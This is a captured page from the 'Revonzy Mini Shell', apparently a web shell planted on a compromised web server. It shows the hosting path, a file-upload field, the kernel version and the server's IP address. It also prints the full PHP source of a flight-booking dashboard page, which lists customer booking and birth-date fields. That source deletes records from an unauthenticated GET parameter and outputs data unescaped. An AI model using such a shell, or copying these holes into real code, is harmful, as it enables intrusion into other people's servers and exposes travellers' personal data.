Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/refund_request1.php

<?php
	require_once('lib/functions.php');
	$db		=	new class_functions();
	
	$flag	=	0;
	if(isset($_GET['delete_id']))
	{
		$delete_id	=$_GET['delete_id'];
		
		if($db->delete_flight_booking($delete_id))
		{
			$flag	=	3;
		}		
	}

if(isset($_SESSION['current_login_admin'])) 
{
    $current_login_admin=$_SESSION['current_login_admin'];
}
?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
  </head>
  <body class="  ">

    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
				if($flag ==3)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Flight booking Record Deleted Successfully</span>
					<button type="button" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h3 class="card-title mb-0">Flight Booking Report For Refund</h3>
                </div>
				
			    <div class="card-body" style="overflow:scroll;">
                <div class="table-responsive">
                    <table class="table table-bordered">
                        <thead>
                            <tr>
								<th>Sr No</th>
								<th>Ticket </th>
								<th>Request to Refund</th>
                                <th>transaction id</th>
								<th>Booking type</th>
								<th>Agent id</th>
								<th>From location</th>
								<th>To location</th>
								<th>Travel date</th>
								<th>pax size</th>
								<th>Tour code</th>
								<th>traveller type</th>
								<th>salutation</th>
								<th>first name</th>
								<th>Last name</th>
								<th>Birth dd</th>
								<th>Birth mm</th>
								<th>Birth year</th>
								<th>Ticket status</th>
								<th>Ticket amount</th>
								<th>Total amount</th>
								<th>Commission</th>
								
								<th>Date</th>
								<th>Time</th>
								<th>Booking Id</th>
								<th>PNR No</th>
								<th>Flight No</th>
								<th>Arrival Time</th>
								<th>Departure Time</th>
                            </tr>								
									
															
							
								
                        </thead>
                        <tbody>
						
						
							<?php
								$data	=	array();
								$data	=	$db-> get_all_flight_booking_for_agent_for_refund($current_login_admin);
								$counter = 1;
								if(!empty($data))
								{
									foreach($data as $record)
									{	
										$id									=$record[0];
										$transaction_id						=$record[1];
										$booking_type						=$record[2];
										$agent_id							=$record[3];
										$from_location						=$record[4];
										$to_location						=$record[5];
										$travel_date						=$record[6];
										$pax_size							=$record[7];
										$tour_code							=$record[8];
										$traveller_type						=$record[9];
										$salutation							=$record[10];
										$first_name							=$record[11];
										$last_name							=$record[12];
										$birth_dd							=$record[13];
										$birth_mm							=$record[14];
										$birth_year							=$record[15];
										$ticket_status						=$record[16];
										$ticket_amount						=$record[17];
										$total_amount						=$record[18];
										$commission							=$record[19];
										$other_1							=$record[20];
										$other_2							=$record[21];
										$other_3							=$record[22];
										$date								=$record[23];
										$time								=$record[24];
										
										$booking_id							=$record[25];
										$pnr_no								=$record[26];
										$flight_no							=$record[27];
										$arrival_time						=$record[28];
										$departure_time						=$record[29	];
										
										//$function_id_name= $db->get_function_hall_by_id($function_hall_id);
										//$function_hall_name= $db->get_function_event_by_id($hall_name);
										//$function_booking_for= $db->get_function_booking_for_by_id($booking_for);
										
							?>
                            <tr class="">
                                <td class=""><?php echo $counter++; ?></td>
                                 <td class="text-center">
                                    <a class="btn btn-sm btn-icon text-primary flex-end" data-bs-toggle="tooltip" title="Edit Booking" href="ticket1.php?edit_id=<?php echo $id; ?>">
                                            <span class="btn-inner">
											    <svg class="icon-20" width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
											        <path d="M1 12C1 12 5 4 12 4C19 4 23 12 23 12C23 12 19 20 12 20C5 20 1 12 1 12Z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
											        <path d="M12 15C14.2091 15 16 13.2091 16 11C16 8.79086 14.2091 7 12 7C9.79086 7 8 8.79086 8 11C8 13.2091 9.79086 15 12 15Z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
											    </svg>
											</span>
                                        </a>
                                </td>
                                <td><a href="request_refuncd.php?request_id=<?php  echo $id; ?>">Request</a></td>
								<td class=""><?php echo $transaction_id; ?> <br></td>
								<td class=""><?php echo	$booking_type; ?></td>
								<td class=""><?php echo	$agent_id; ?></td>
								<td class=""><?php echo $from_location; ?></td>
								<td class=""><?php echo $to_location; ?></td>
								<td class=""><?php echo $travel_date; ?></td>
								<td class=""><?php echo	$pax_size; ?></td>
								<td class=""><?php echo	$tour_code; ?></td>
							    <td class=""><?php echo	$traveller_type; ?></td>
								<td class=""><?php echo	$salutation; ?></td>
								<td class=""><?php echo	$first_name; ?></td>
								<td class=""><?php echo $last_name; ?></td>
								<td class=""><?php echo $birth_dd; ?></td>
								<td class=""><?php echo $birth_mm; ?></td>
								<td class=""><?php echo $birth_year; ?></td>
								<td class=""><?php echo $ticket_status; ?></td>
								<td class=""><?php echo $ticket_amount; ?></td>
								<td class=""><?php echo $total_amount; ?></td>
								<td class=""><?php echo $commission; ?></td>
								<td class=""><?php echo $date; ?></td>
								<td class=""><?php echo $time; ?></td>
								
								<td class=""><?php echo $booking_id; ?></td>
								<td class=""><?php echo $pnr_no; ?></td>
								<td class=""><?php echo $flight_no; ?></td>
								<td class=""><?php echo $arrival_time; ?></td>
								<td class=""><?php echo $departure_time; ?></td>

                               
                            </tr>
							
							<?php
									}
								}
								
							?>
						</tbody>
                    </table>
                  
                </div>
            </div>
	</div>
</div>
</div>
 
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4